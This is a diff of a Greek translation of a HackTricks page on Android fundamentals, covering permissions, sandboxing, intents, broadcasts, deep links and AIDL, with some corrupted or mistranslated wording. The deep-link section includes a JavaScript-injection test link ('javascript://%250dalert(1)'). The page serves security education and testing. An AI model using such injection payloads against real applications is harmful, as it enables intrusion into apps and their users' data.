<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του **HackTricks**]\(https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα **HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
**Ομάδα Ασφαλείας Try Hard**
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,27 +26,27 @@
|
|||
|
||||
**Υπάρχουν δύο επίπεδα:**
|
||||
|
||||
* Το **ΛΕΣ**, το οποίο διατηρεί τις εγκατεστημένες εφαρμογές απομονωμένες μεταξύ τους.
|
||||
* Το **Λειτουργικό Σύστημα (OS)**, το οποίο διατηρεί τις εγκατεστημένες εφαρμογές απομονωμένες μεταξύ τους.
|
||||
* Η **ίδια η εφαρμογή**, η οποία επιτρέπει στους προγραμματιστές να **εκθέτουν ορισμένες λειτουργίες** και να διαμορφώνουν τις δυνατότητες της εφαρμογής.
|
||||
|
||||
### Διαχωρισμός UID
|
||||
|
||||
**Κάθε εφαρμογή ανατίθεται ένα συγκεκριμένο αναγνωριστικό χρήστη (UID)**. Αυτό γίνεται κατά την εγκατάσταση της εφαρμογής, έτσι ώστε η εφαρμογή να μπορεί να αλληλεπιδρά μόνο με αρχεία που ανήκουν στο UID της ή με κοινόχρηστα αρχεία. Συνεπώς, μόνο η εφαρμογή, κάποια στοιχεία του ΛΕΣ και ο ριζικός χρήστης μπορούν να έχουν πρόσβαση στα δεδομένα των εφαρμογών.
|
||||
**Κάθε εφαρμογή ανατίθεται ένα συγκεκριμένο User ID**. Αυτό γίνεται κατά την εγκατάσταση της εφαρμογής ώστε **η εφαρμογή να μπορεί να αλληλεπιδρά μόνο με αρχεία που ανήκουν στο User ID της ή με κοινά** αρχεία. Συνεπώς, μόνο η εφαρμογή, κάποια στοιχεία του OS και ο ριζικός χρήστης μπορούν να έχουν πρόσβαση στα δεδομένα των εφαρμογών.
|
||||
|
||||
### Διαμοιρασμός UID
|
||||
|
||||
**Δύο εφαρμογές μπορούν να ρυθμιστούν να χρησιμοποιούν το ίδιο UID**. Αυτό μπορεί να είναι χρήσιμο για να μοιραστούν πληροφορίες, αλλά αν μία από αυτές διαρρεύσει, τα δεδομένα και των δύο εφαρμογών θα διαρρεύσουν. Γι' αυτό η συμπεριφορά αυτή είναι **αποθαρρυντική**.\
|
||||
**Για να μοιραστούν το ίδιο UID, οι εφαρμογές πρέπει να ορίσουν την ίδια τιμή `android:sharedUserId` στα μανιφέστα τους.**
|
||||
**Για να μοιράζονται το ίδιο UID, οι εφαρμογές πρέπει να ορίσουν την ίδια τιμή `android:sharedUserId` στα μεταδεδομένα τους.**
|
||||
|
||||
### Αμμοθυρίστες
|
||||
### Αμμοθυρίωση
|
||||
|
||||
Το **Αμμοθυρίστες Εφαρμογών Android** επιτρέπει την εκτέλεση **κάθε εφαρμογής** ως ένα **ξεχωριστό διεργασία υπό ένα διαφορετικό αναγνωριστικό χρήστη**. Κάθε διεργασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένα από άλλες εφαρμογές.\
|
||||
Από το Android 5.0(L) η **SELinux** επιβάλλεται. Βασικά, η SELinux απαγόρευσε όλες τις αλληλεπιδράσεις διεργασιών και στη συνέχεια δημιούργησε πολιτικές για **να επιτρέψει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ τους**.
|
||||
Το **Αμμοθυρίωμα της Εφαρμογής Android** επιτρέπει την εκτέλεση **κάθε εφαρμογής** ως ένα **ξεχωριστό διεργασία υπό ένα διαφορετικό User ID**. Κάθε διεργασία έχει τη δική της εικονική μηχανή, έτσι ο κώδικας μιας εφαρμογής εκτελείται απομονωμένα από άλλες εφαρμογές.\
|
||||
Από το Android 5.0(L) εφαρμόζεται το **SELinux**. Βασικά, το SELinux απαγόρευε όλες τις αλληλεπιδράσεις διεργασιών και στη συνέχεια δημιούργησε πολιτικές για να **επιτρέψει μόνο τις αναμενόμενες αλληλεπιδράσεις μεταξύ τους**.
|
||||
|
||||
### Δικαιώματα
|
||||
|
||||
Όταν εγκαθιστάτε μια **εφαρμογή και σας ζητά δικαιώματα**, η εφαρμογή ζητά τα δικαιώματα που έχουν διαμορφωθεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα του ζητούμενου δικαιώματος μέσα στο **όνομα** **χαρακτηριστικού.** Έχει επίσης το χαρακτηριστικό **maxSdkVersion** που σταματά το αίτημα δικαιωμάτων σε εκδόσεις υψηλότερες από αυτήν που καθορίζεται.\
|
||||
Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητήσουν όλα τα δικαιώματα από την αρχή, μπορούν επίσης **να ζητήσουν δικαιώματα δυναμικά** αλλά όλα τα δικαιώματα πρέπει να **δηλωθούν** στο **μανιφέστο.**
|
||||
Όταν εγκαθιστάτε μια **εφαρμογή και σας ζητά δικαιώματα**, η εφαρμογή ζητά τα δικαιώματα που έχουν διαμορφωθεί στα στοιχεία **`uses-permission`** στο αρχείο **AndroidManifest.xml**. Το στοιχείο **uses-permission** υποδεικνύει το όνομα του ζητούμενου δικαιώματος μέσα στο **όνομα** **χαρακτηριστικό.** Έχει επίσης το χαρακτηριστικό **maxSdkVersion** που σταματά το αίτημα δικαιωμάτων σε εκδόσεις υψηλότερες από αυτήν που καθορίζεται.\
|
||||
Σημειώστε ότι οι εφαρμογές Android δεν χρειάζεται να ζητήσουν όλα τα δικαιώματα από την αρχή, μπορούν επίσης **να ζητήσουν δικαιώματα δυναμικά** αλλά όλα τα δικαιώματα πρέπει να **δηλωθούν** στο **μεταδεδομένα.**
|
||||
|
||||
Όταν μια εφαρμογή εκθέτει λειτουργικότητα, μπορεί να περιορίσει την **πρόσβαση μόνο σε εφαρμογές που έχουν ένα συγκεκριμένο δικαίωμα**.\
|
||||
Ένα στοιχείο δικαιώματος έχει τρία χαρακτηριστικά:
|
||||
|
@ -54,23 +54,22 @@
|
|||
* Το **όνομα** του δικαιώματος
|
||||
* Το χαρακτηριστικό **permission-group**, που επιτρέπει την ομαδοποίηση σχετικών δικαιωμάτων.
|
||||
* Το **επίπεδο προστασίας** που υποδεικνύει πώς χορηγούνται τα δικαιώματα. Υπάρχουν τέσσερα είδη:
|
||||
* **Κανονικό**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Δεν απαιτείται η έγκριση του χρήστη.
|
||||
* **Επικίνδυνο**: Υποδεικνύει ότι το δικαίωμα χορηγεί στην αιτούσα εφαρμογή κάποια **υψηλότερη πρόσβαση**. **Οι χρήστες καλούνται να τα εγκρίνουν**.
|
||||
* **Υπογραφή**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο μπορούν να χορηγηθούν άδεια. Αυτό είναι το ισχυρότερο είδος προστασίας.
|
||||
* **ΥπογραφήΉΣύστημα**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο ή **εφαρμογές που λειτουργούν με επίπεδο πρόσβασης συστήματος** μπορούν να χορηγηθούν δικαιώματα
|
||||
* **Κανονικό**: Χρησιμοποιείται όταν δεν υπάρχουν **γνωστές απειλές** για την εφαρμογή. Δεν απαιτείται η έγκριση του χρήστη.
|
||||
* **Επικίνδυνο**: Υποδεικνύει ότι το δικαίωμα χορηγεί στην αιτούσα εφαρμογή κάποια **υψηλότερη πρόσβαση**. **Οι χρήστες καλούνται να τα εγκρίνουν**.
|
||||
* **Υπογραφή**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο μπορούν να χορηγηθούν δικαιώματα. Αυτό είναι το ισχυρότερο επίπεδο προστασίας.
|
||||
* **ΥπογραφήΉΣύστημα**: Μόνο **εφαρμογές που έχουν υπογραφεί από τον ίδιο πιστοποιητικό με αυτόν** που εξάγει το στοιχείο ή **εφαρμογές που λειτουργούν με επίπεδο πρόσβασης συστήματος** μπορούν να χορηγηθούν δικαιώματα
|
||||
|
||||
## Προεγκατεστημένες Εφαρμογές
|
||||
|
||||
Αυτές οι εφαρμογές βρίσκονται συνήθως στους καταλόγους **`/system/app`** ή **`/system/priv-app`** και κάποιες από αυτές είναι **βελτιστοποιημένες** (μπορεί να μην βρείτε καν το αρχείο `classes.dex`). Αξίζει να ελέγξετε αυτές τις εφαρμογές επειδή μερικές φορές τρέχουν με **πάρα πολλά δικαιώματα** (ως ριζικός χρήστης).
|
||||
|
||||
* Αυτές που αποστέλλονται με το **AOSP** (Android OpenSource Project) **ROM**
|
||||
* Προστέθηκαν από τον **κατασκευαστή συσκευών**
|
||||
* Προστέθηκαν από τον πάροχο **κινητής τηλεφωνίας** (αν αγοράστηκαν από αυτόν)
|
||||
* Αυτές που παρέχονται με το **AOSP** (Android OpenSource Project) **ROM**
|
||||
* Προστέθηκαν από τον **κατασκευαστή της συσκευής**
|
||||
* Προστέθηκαν από τον πάροχο **κινητής τηλεφωνίας** (αν αγοράστηκε από αυτούς)
|
||||
|
||||
## Rooting
|
||||
|
||||
Για να αποκτήσετε ριζική πρόσβαση σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες**
|
||||
|
||||
Για να αποκτήσετε ριζική πρόσβαση σε μια φυσική συσκευή Android, γενικά χρειάζεται να **εκμεταλλευτείτε** 1 ή 2 **ευπάθειες** που συνήθως είναι **συγκεκριμένες** για τη **συσκευή** και τη **έκδοση**.\
|
||||
### **Dalvik & Smali**
|
||||
|
||||
Στην ανάπτυξη Android, χρησιμοποιείται **Java ή Kotlin** για τη δημιουργία εφαρμογών. Αντί να χρησιμοποιεί το JVM όπως στις εφαρμογές επιφάνειας εργασίας, το Android μεταγλωττίζει αυτόν τον κώδικα σε **Dalvik Executable (DEX) bytecode**. Παλαιότερα, η εικονική μηχανή Dalvik χειριζόταν αυτόν τον bytecode, αλλά τώρα, η Android Runtime (ART) αναλαμβάνει σε νεότερες εκδόσεις Android.
|
||||
|
@ -86,8 +85,8 @@
|
|||
|
||||
* Για να ξεκινήσει μια Δραστηριότητα, συνήθως ανοίγοντας μια διεπαφή χρήστη για μια εφαρμογή
|
||||
* Ως μεταδόσεις για να ενημερώσουν το σύστημα και τις εφαρμογές για αλλαγές
|
||||
* Για να ξεκινήσει, να σταματήσει και να επικοινωνήσει με ένα υπόβαθρο υπηρεσίας
|
||||
* Για να έχει πρόσβαση σε δεδομένα μέσω ContentProviders
|
||||
* Για να ξεκινήσει, να σταματήσει και να επικοινωνήσει με ένα υπόβαθρο υπηρεσία
|
||||
* Για πρόσβαση σε δεδομένα μέσω ContentProviders
|
||||
* Ως κλήσεις πίσω για την χειρισμό συμβάντων
|
||||
|
||||
Εάν είναι ευάλωτα, τα **Intents μπορούν να χρησιμοποιηθούν για να πραγματοποιήσουν μια ποικιλία επιθέσεων**.
|
||||
|
@ -98,28 +97,23 @@
|
|||
|
||||
Τα Intent Filters αποτελούνται από κατηγορίες, ενέργειες και φίλτρα δεδομένων, με τη δυνατότητα συμπερίληψης επιπλέον μεταδεδομένων. Αυτή η ρύθμιση επιτρέπει στα στοιχεία να χειριστούν συγκεκριμένα Intents που ταιριάζουν με τα δηλωμένα κριτήρια.
|
||||
|
||||
Ένα κρίσιμο στοιχείο των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες μετάδοσης) είναι η ορατότητά τους ή **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδρά με άλλες εφαρμογές εάν είναι **`εξαγόμενο`** με μια τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter για αυτό στον κατάλογο. Ωστόσο, Ͽαρχει τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά ρητά, εξασφαλίζοντας ότι δεν θα αλληλεπιδράσουν με άλλες εφαρμογές ακούσια. Αυτό επιτυγχάνεται με την ρύθμιση του χαρακτηριστικού **`εξαγόμενο`** σε **`false`** στις ορισμούς τους στον κατάλογο.
|
||||
|
||||
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το χαρακτηριστικό **`άδεια`** μπορεί να οριστεί για να επιβάλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και έλεγχο πάνω σε ποιος μπορεί να αλληλεπιδράσει με αυτό.
|
||||
Ένα κρίσιμο στοιχείο των στοιχείων Android (δραστηριότητες/υπηρεσίες/παρόχοι περιεχομένου/δέκτες μετάδοσης) είναι η ορατότητά τους ή **δημόσια κατάσταση**. Ένα στοιχείο θεωρείται δημόσιο και μπορεί να αλληλεπιδρά με άλλες εφαρμογές εάν είναι **`εξαγόμενο`** με μια τιμή **`true`** ή αν έχει δηλωθεί ένα Intent Filter για αυτό στον προσανατολισμό. Ωστόσο, Ͽαρχει ένας τρόπος για τους προγραμματιστές να κρατήσουν αυτά τα στοιχεία ιδιωτικά ρητά, εξασφαλίζοντας ότι δεν θα αλληλεπιδράν με άλλες εφαρμογές ακούσια. Αυτό επιτυγχάνεται με την ρύθμιση του χαρακτηριστικού **`εξαγόμενο`** σε **`false`** στις ορισμούς τους στον προσανατολισμό τους.
|
||||
|
||||
Επιπλέον, οι προγραμματιστές έχουν τη δυνατότητα να ασφαλίσουν περαιτέρω την πρόσβαση σε αυτά τα στοιχεία απαιτώντας συγκεκριμένες άδειες. Το χαρακτηριστικό **`άδεια`** μπορεί να οριστεί για να επιβάλει ότι μόνο οι εφαρμογές με την καθορισμένη άδεια μπορούν να έχουν πρόσβαση στο στοιχείο, προσθέτοντας ένα επιπλέον επίπεδο ασφάλειας και έλεγχο πάνω σε ποιος μπορεί να αλληλεπιδρά με αυτό.
|
||||
```java
|
||||
<activity android:name=".MyActivity" android:exported="false">
|
||||
<!-- Intent filters go here -->
|
||||
</activity>
|
||||
```
|
||||
|
||||
### Συμπεριληπτικές Προθέσεις
|
||||
|
||||
Οι προθέσεις δημιουργούνται προγραμματικά χρησιμοποιώντας έναν κατασκευαστή Πρόθεσης:
|
||||
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
|
||||
Η **Ενέργεια** της προηγουμένως δηλωμένης πρόθεσης είναι **ACTION\_SEND** και το **Επιπλέον** είναι ένα mailto **Uri** (το Επιπλέον είναι η επιπλέον πληροφορία που αναμένει η πρόθεση).
|
||||
|
||||
Αυτή η πρόθεση πρέπει να δηλωθεί μέσα στον manifest όπως στο παρακάτω παράδειγμα:
|
||||
|
||||
Αυτή η πρόθεση πρέπει να δηλωθεί μέσα στον πίνακα όπως στο παρακάτω παράδειγμα:
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
|
@ -128,56 +122,50 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
|||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
Ένα intent-filter χρειάζεται να ταιριάζει την **action**, **data** και **category** για να λάβει ένα μήνυμα.
|
||||
|
||||
Η διαδικασία "Intent resolution" καθορίζει ποια εφαρμογή θα πρέπει να λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το **προτεραιότητας attribute**, το οποίο μπορεί να οριστεί στη δήλωση του **intent-filter**, και **επιλέγεται αυτό με τη μεγαλύτερη προτεραιότητα**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Αν προκύψει **σύγκρουση**, εμφανίζεται ένα παράθυρο "choser" ώστε ο **χρήστης να αποφασίσει**.
|
||||
Η διαδικασία "Επίλυση Intent" καθορίζει ποια εφαρμογή θα πρέπει να λάβει κάθε μήνυμα. Αυτή η διαδικασία λαμβάνει υπόψη το **προτεραιότητας attribute**, το οποίο μπορεί να οριστεί στη δήλωση του **intent-filter**, και **επιλέγεται αυτό με τη μεγαλύτερη προτεραιότητα**. Αυτή η προτεραιότητα μπορεί να οριστεί μεταξύ -1000 και 1000 και οι εφαρμογές μπορούν να χρησιμοποιήσουν την τιμή `SYSTEM_HIGH_PRIORITY`. Αν προκύψει **σύγκρουση**, εμφανίζεται ένα παράθυρο "επιλογής" ώστε ο **χρήστης να αποφασίσει**.
|
||||
|
||||
### Σαφή Intents
|
||||
|
||||
Ένα σαφές intent καθορίζει το όνομα της κλάσης που στοχεύει:
|
||||
|
||||
```java
|
||||
Intent downloadIntent = new (this, DownloadService.class):
|
||||
```
|
||||
|
||||
Σε άλλες εφαρμογές για να έχετε πρόσβαση στο προηγουμένως δηλωμένο intent μπορείτε να χρησιμοποιήσετε:
|
||||
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.other.app", "com.other.app.ServiceName");
|
||||
context.startService(intent);
|
||||
```
|
||||
### Ενέργειες σε εκκρεμείς προθέσεις
|
||||
|
||||
### Ενέργειες που εκκρεμούν
|
||||
Αυτές επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Κατά τη δημιουργία μιας εκκρεμούς πρόθεσης πρέπει να **καθοριστεί μια πρόθεση και η ενέργεια που πρέπει να εκτελεστεί**. Αν η **δηλωμένη πρόθεση δεν είναι Σαφής** (δεν δηλώνει ποια πρόθεση μπορεί να την καλέσει), μια **κακόβουλη εφαρμογή μπορεί να εκτελέσει τη δηλωμένη ενέργεια** εκ μέρους της εφαρμογής θύματος. Επιπλέον, **αν δεν καθοριστεί μια ενέργεια**, η κακόβουλη εφαρμογή θα μπορεί να κάνει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**.
|
||||
|
||||
Αυτές επιτρέπουν σε άλλες εφαρμογές να **εκτελούν ενέργειες εκ μέρους της εφαρμογής σας**, χρησιμοποιώντας την ταυτότητα και τις άδειες της εφαρμογής σας. Κατά τη δημιουργία μιας Ενέργειας που εκκρεμεί πρέπει να **καθοριστεί ένα intent και η ενέργεια που πρέπει να εκτελεστεί**. Αν το **δηλωμένο intent δεν είναι Συγκεκριμένο** (δεν δηλώνει ποιο intent μπορεί να το καλέσει), μια **κακόβουλη εφαρμογή μπορεί να εκτελέσει τη δηλωμένη ενέργεια** εκ μέρους της εφαρμογής θύματος. Επιπλέον, **αν δεν καθοριστεί μια ενέργεια**, η κακόβουλη εφαρμογή θα μπορεί να κάνει **οποιαδήποτε ενέργεια εκ μέρους του θύματος**.
|
||||
### Εκπομπές Προθέσεων
|
||||
|
||||
### Ενέργειες Διανομής
|
||||
Σε αντίθεση με τις προηγούμενες προθέσεις, οι οποίες λαμβάνονται μόνο από μία εφαρμογή, οι εκπομπές προθέσεων **μπορούν να ληφθούν από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που πρέπει να λάβει** το μήνυμα χρησιμοποιώντας το Intent.set Package.
|
||||
|
||||
Αντίθετα με τα προηγούμενα intents, τα οποία λαμβάνονται μόνο από μια εφαρμογή, οι ενέργειες διανομής **μπορούν να ληφθούν από πολλές εφαρμογές**. Ωστόσο, από την έκδοση API 14, είναι **δυνατό να καθοριστεί η εφαρμογή που πρέπει να λάβει** το μήνυμα χρησιμοποιώντας το Intent.set Package.
|
||||
Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή της εκπομπής**. Η εφαρμογή παραλήπτης θα πρέπει να έχει αυτήν την άδεια.
|
||||
|
||||
Εναλλακτικά, είναι επίσης δυνατό να **καθοριστεί μια άδεια κατά την αποστολή της διανομής**. Η εφαρμογή παραλήπτης θα πρέπει να έχει αυτήν την άδεια.
|
||||
Υπάρχουν **δύο τύποι** Εκπομπών: **Κανονικές** (ασύγχρονες) και **Ταξινομημένες** (σύγχρονες). Η **σειρά** βασίζεται στη **διαμορφωμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταδώσει ή να απορρίψει την Εκπομπή.**
|
||||
|
||||
Υπάρχουν **δύο τύποι** Διανομών: **Κανονικές** (ασύγχρονες) και **Ταξινομημένες** (σύγχρονες). Η **σειρά** βασίζεται στη **ρυθμισμένη προτεραιότητα εντός του στοιχείου παραλήπτη**. **Κάθε εφαρμογή μπορεί να επεξεργαστεί, να μεταδώσει ή να απορρίψει τη Διανομή.**
|
||||
Είναι δυνατό να **στείλετε** μια **εκπομπή** χρησιμοποιώντας τη συνάρτηση `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε τη συνάρτηση **`sendBroadcast`** από το **`LocalBroadCastManager`** εξασφαλίζοντας ότι το **μήνυμα δεν αφήνει ποτέ την εφαρμογή**. Χρησιμοποιώντας αυτό, ακόμα και δεν θα χρειαστεί να εξαγάγετε ένα στοιχείο παραλήπτη.
|
||||
|
||||
Είναι δυνατό να **στείλετε** μια **διανομή** χρησιμοποιώντας τη λειτουργία `sendBroadcast(intent, receiverPermission)` από την κλάση `Context`.\
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε τη λειτουργία **`sendBroadcast`** από το **`LocalBroadCastManager`** εξασφαλίζοντας ότι το **μήνυμα δεν αφήνει ποτέ την εφαρμογή**. Χρησιμοποιώντας αυτό, ακόμα και δεν θα χρειαστεί να εξαγάγετε ένα στοιχείο παραλήπτη.
|
||||
### Κολλώδεις Εκπομπές
|
||||
|
||||
### Κολλητές Διανομές
|
||||
|
||||
Αυτού του είδους οι Διανομές **μπορούν να ανακτηθούν πολύ καιρό μετά την αποστολή τους**.\
|
||||
Αυτές αποσύρθηκαν στο επίπεδο API 21 και συνιστάται να **μην χρησιμοποιούνται**.\
|
||||
Αυτού του είδους οι Εκπομπές **μπορούν να ανακτηθούν πολύ καιρό μετά την αποστολή τους**.\
|
||||
Αυτές αποσύρθηκαν στην έκδοση API επιπέδου 21 και συνιστάται να **μην χρησιμοποιούνται**.\
|
||||
**Επιτρέπουν σε οποιαδήποτε εφαρμογή να κατασκοπεύσει τα δεδομένα, αλλά και να τα τροποποιήσει.**
|
||||
|
||||
Αν βρείτε λειτουργίες που περιέχουν τη λέξη "κολλητή" όπως **`sendStickyBroadcast`** ή **`sendStickyBroadcastAsUser`**, **ελέγξτε τις επιπτώσεις και προσπαθήστε να τις αφαιρέσετε**.
|
||||
Αν βρείτε συναρτήσεις που περιέχουν τη λέξη "κολλώδεις" όπως **`sendStickyBroadcast`** ή **`sendStickyBroadcastAsUser`**, **ελέγξτε τις επιπτώσεις και προσπαθήστε να τις αφαιρέσετε**.
|
||||
|
||||
## Βαθιοί σύνδεσμοι / Σχήματα URL
|
||||
|
||||
Στις εφαρμογές Android, οι **βαθιοί σύνδεσμοι** χρησιμοποιούνται για να εκκινήσουν μια ενέργεια (Intent) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **σχήμα URL** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **έχει πρόσβαση σε ένα URL με αυτό το σχήμα**, η συγκεκριμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
|
||||
Στις εφαρμογές Android, οι **βαθιοί σύνδεσμοι** χρησιμοποιούνται για να εκκινήσουν μια ενέργεια (Πρόθεση) απευθείας μέσω ενός URL. Αυτό γίνεται δηλώνοντας ένα συγκεκριμένο **σχήμα URL** εντός μιας δραστηριότητας. Όταν μια συσκευή Android προσπαθεί να **έχει πρόσβαση σε ένα URL με αυτό το σχήμα**, η συγκεκριμένη δραστηριότητα εντός της εφαρμογής εκκινείται.
|
||||
|
||||
Το σχήμα πρέπει να δηλωθεί στο αρχείο **`AndroidManifest.xml`**:
|
||||
|
||||
```xml
|
||||
[...]
|
||||
<activity android:name=".MyActivity">
|
||||
|
@ -189,37 +177,34 @@ context.startService(intent);
|
|||
</intent-filter>
|
||||
[...]
|
||||
```
|
||||
|
||||
Το σχήμα από το προηγούμενο παράδειγμα είναι `exampleapp://` (σημειώστε επίσης τη **`κατηγορία BROWSABLE`**)
|
||||
|
||||
Στο πεδίο δεδομένων, μπορείτε να καθορίσετε το **host** και τη **διαδρομή**:
|
||||
|
||||
```xml
|
||||
<data android:scheme="examplescheme"
|
||||
android:host="example"
|
||||
/>
|
||||
```
|
||||
|
||||
Για να έχετε πρόσβαση από το web, μπορείτε να ορίσετε ένα σύνδεσμο όπως:
|
||||
|
||||
Για να έχετε πρόσβαση μέσω ιστοσελίδας είναι δυνατόν να ορίσετε ένα σύνδεσμο όπως:
|
||||
```xml
|
||||
<a href="examplescheme://example/something">click here</a>
|
||||
<a href="examplescheme://example/javascript://%250dalert(1)">click here</a>
|
||||
```
|
||||
|
||||
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην εφαρμογή**, πηγαίνετε στη δραστηριότητα που καλείται από το deeplink και αναζητήστε τη λειτουργία **`onNewIntent`**.
|
||||
Για να βρείτε τον **κώδικα που θα εκτελεστεί στην εφαρμογή**, πηγαίνετε στη δραστηριότητα που καλείται από το deeplink και αναζητήστε τη συνάρτηση **`onNewIntent`**.
|
||||
|
||||
Μάθετε πώς να [καλείτε deep links χωρίς τη χρήση σελίδων HTML](./#exploiting-schemes-deep-links).
|
||||
|
||||
## AIDL - Android Interface Definition Language
|
||||
|
||||
Η **Γλώσσα Ορισμού Διεπαφής Android (AIDL)** σχεδιάστηκε για τη διευκόλυνση της επικοινωνίας μεταξύ πελάτη και υπηρεσίας στις εφαρμογές Android μέσω **διαδικασίας μεταξύ διεργασιών** (IPC). Δεδομένου ότι η πρόσβαση στη μνήμη μιας άλλης διεργασίας δεν επιτρέπεται στο Android, η AIDL απλοποιεί τη διαδικασία με το να μετατρέπει αντικείμενα σε ένα μορφότυπο που κατανοεί το λειτουργικό σύστημα, διευκολύνοντας έτσι την επικοινωνία μεταξύ διαφορετικών διεργασιών.
|
||||
Η **Γλώσσα Ορισμού Διεπαφής Android (AIDL)** σχεδιάστηκε για τη διευκόλυνση της επικοινωνίας μεταξύ πελάτη και υπηρεσίας σε εφαρμογές Android μέσω **διαδικασίας μεταξύ διεργασιών** (IPC). Δεδομένου ότι η πρόσβαση απευθείας στη μνήμη μιας άλλης διεργασίας δεν επιτρέπεται στο Android, η AIDL απλοποιεί τη διαδικασία με το να μετατρέπει αντικείμενα σε ένα μορφότυπο που κατανοεί το λειτουργικό σύστημα, διευκολύνοντας έτσι την επικοινωνία μεταξύ διαφορετικών διεργασιών.
|
||||
|
||||
### Βασικές Έννοιες
|
||||
|
||||
* **Υπηρεσίες που συνδέονται**: Αυτές οι υπηρεσίες χρησιμοποιούν την AIDL για IPC, επιτρέποντας σε δραστηριότητες ή στοιχεία να συνδεθούν με μια υπηρεσία, να κάνουν αιτήσεις και να λαμβάνουν απαντήσεις. Η μέθοδος `onBind` στην κλάση της υπηρεσίας είναι κρίσιμη για την έναρξη της αλληλεπίδρασης, καθιστώντας την έναν σημαντικό τομέα για αναθεώρηση ασφάλειας ώστε να αναζητηθούν ευπάθειες.
|
||||
